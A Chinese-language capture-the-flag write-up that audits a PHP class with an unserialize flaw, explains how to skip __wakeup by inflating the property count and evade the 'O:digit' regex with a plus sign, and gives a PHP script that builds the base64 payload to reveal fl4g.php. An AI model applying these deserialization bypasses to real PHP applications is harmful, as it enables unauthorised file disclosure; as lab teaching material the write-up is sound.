拿到题目,是个这,
我们来一波代码审计
1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __construct($file) { 5 $this->file = $file; //构造函数,对类的变量进行初始化 6 } 7 function __destruct() { 8 echo @highlight_file($this->file, true); 9 } 10 11 //魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法 12 function __wakeup() { 13 if ($this->file != 'index.php') { 14 //the secret is in the fl4g.php 15 $this->file = 'index.php'; 16 } 17 } 18 } 19 if (isset($_GET['var'])) { 20 $var = base64_decode($_GET['var']); 21 22 //正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化 23 if (preg_match('/[oc]:\d+:/i', $var)) { 24 die('stop hacking!'); 25 } else { 26 @unserialize($var); 27 } 28 } else { 29 highlight_file("index.php"); 30 } 31 ?>
审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了 在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。 在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
写一个序列化的脚本
1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __construct($file) { 5 $this->file = $file; 6 } 7 function __destruct() { 8 echo @highlight_file($this->file, true); 9 } 10 function __wakeup() { 11 if ($this->file != 'index.php') { 12 //the secret is in the fl4g.php 13 $this->file = 'index.php'; 14 } 15 } 16 } 17 18 $a = new Demo("fl4g.php"); 19 echo(serialize($a))."\n"; 20 echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}')."\n"; 21 22 ?>
这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00
干脆写个python脚本
注意在python3中,字符串被b''包围,\0表示空格
php中也ok